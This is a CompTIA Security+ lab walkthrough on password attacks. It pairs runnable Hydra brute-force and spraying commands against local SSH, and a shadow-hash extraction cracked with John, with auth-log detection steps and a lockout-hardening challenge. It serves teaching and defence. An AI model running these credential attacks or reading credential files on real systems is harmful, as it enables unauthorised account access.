Lab 13 — Password Attacks: Spraying & Brute Force

> **SY0-701 Objective 2.4** — Given a scenario, analyze indicators of malicious activity
>
> **Domain 2** — Threats, Vulnerabilities, and Mitigations (22%) · **Time:** ~30 min · **Course:** TGS-2023039181 CompTIA Security+ (SY0-701)

Goal: run controlled online and offline password attacks against your own host, then read the log signatures each one leaves so you can recognise them as indicators.

You'll build: an attack-and-detect chain covering brute force, offline cracking and password spraying, with the auth-log evidence of each.

Prerequisites: Killercoda Ubuntu Playground (root shell) — https://killercoda.com/playgrounds/scenario/ubuntu ; tools installed in step 1.

> **Legal note:** Every target is a local account on `127.0.0.1` in your own playground. Using these tools against systems you do not own is an offence under Singapore's Computer Misuse Act.

Background

- **Online** attacks submit guesses to a live service, so they are logged and rate-limited; **offline** attacks crack a stolen hash on the attacker's own hardware with no lockout.
- **Brute force** tries every combination; a **dictionary** attack uses a wordlist; **spraying** tries one common password across many accounts to dodge lockout; **credential stuffing** replays breached pairs.
- Linux stores password hashes in `/etc/shadow` with a format id (`$6$` SHA-512, `$y$` yescrypt), a per-user **salt** and the digest.
- Detection: many failures for one account = brute force; one password failing across many accounts = spraying. These map to objective 2.4's indicators (account lockout, out-of-cycle logging).

Steps

1. Install the tools and SSH server

```
apt-get update -qq && apt-get install -y hydra john openssh-server
service ssh start || systemctl start ssh
```

2. Create a target account with a weak password

```
useradd -m victim 2>/dev/null; echo 'victim:password123' | chpasswd
for u in alice bob carol; do useradd -m "$u" 2>/dev/null; echo "$u:S0mePass!" | chpasswd;
done
echo "accounts ready"
```

3. Build a small wordlist

A tiny list keeps the demo fast; real attacks use lists such as rockyou.txt.

```
printf 'letmein\nqwerty\npassword123\nadmin\n' > words.txt
cat words.txt
```

4. Brute force SSH against localhost

Hydra tries each word until one authenticates.

```
hydra -l victim -P words.txt -t 4 -f ssh://127.0.0.1
```

```
[22][ssh] host: 127.0.0.1   login: victim   password: password123
```

5. Detect the attack in the auth log

A burst of failures for one user is the online brute-force signature.

```
grep 'Failed password' /var/log/auth.log 2>/dev/null | tail -5 \
  || journalctl -u ssh --no-pager 2>/dev/null | grep -i 'failed' | tail -5
```

6. Crack the shadow hash offline with John

Extract the victim's hash and crack it with the same wordlist — no lockout applies offline.

```
getent shadow victim > hash.txt
john --wordlist=words.txt hash.txt
john --show hash.txt
```

```
victim:password123
```

7. Demonstrate password spraying

One password is tried once per account to stay under lockout thresholds.

```
for u in alice bob carol victim; do
  hydra -l "$u" -p 'password123' -t 1 -f ssh://127.0.0.1 2>/dev/null | grep -i 'login:' ||
true
done
```

8. Spot the spraying signature

Spraying shows *one* password failing across *many* distinct usernames.

```
grep 'Failed password' /var/log/auth.log 2>/dev/null \
  | grep -oE 'for [a-z]+ ' | sort | uniq -c | sort -nr | head \
  || echo "check journalctl -u ssh for the same pattern"
```

Test it

Confirm both the online and offline attacks succeeded and left evidence.

```
john --show hash.txt | grep -q 'password123' && echo "OFFLINE CRACK OK"
( grep -q 'Failed password' /var/log/auth.log 2>/dev/null || journalctl -u ssh 2>/dev/null
| grep -qi failed ) && echo "ATTACK LOGGED (indicator present)"
```

Expected: John reveals the weak password, and the auth log (or journal) shows the failed-login indicators for both the brute force and the spray.

Troubleshooting

Symptom	Fix
`Connection refused` on 127.0.0.1:22	SSH is not running: `service ssh start` and confirm with `ss -tlnp | grep :22`.
`/var/log/auth.log` missing	Systemd-only images log to the journal: use `journalctl -u ssh`.
John finds nothing	Make sure `hash.txt` holds the full `getent shadow victim` line including the `$y$` / `$6$` field.

Challenge

Harden the host so spraying fails: configure `pam_faillock` to lock an account after 5 failures, re-run the spray, and show the lockout events in the log. What denial-of-service risk does lockout introduce, and how does MFA avoid it?

Reflection

Objective 2.4 lists spraying and brute force. Looking only at the logs, what single feature lets you tell a brute-force attack apart from a spraying attack?

Exam tips

- Online = logged and rate-limited; offline = no lockout, only the hash algorithm resists.
- Spraying = one password, many accounts (dodges lockout); brute force = many guesses, one account.
- A unique per-user salt defeats rainbow tables; key stretching (yescrypt, bcrypt) makes each guess expensive.
- NIST SP 800-63B favours long passphrases and breach-list screening over forced periodic expiry.

References

- NIST SP 800-63B Digital Identity Guidelines — https://pages.nist.gov/800-63-3/sp800-63b.html
- OWASP Credential Stuffing Prevention — https://cheatsheetseries.owasp.org
- Hydra documentation — https://github.com/vanhauser-thc/thc-hydra
- John the Ripper — https://www.openwall.com/john/
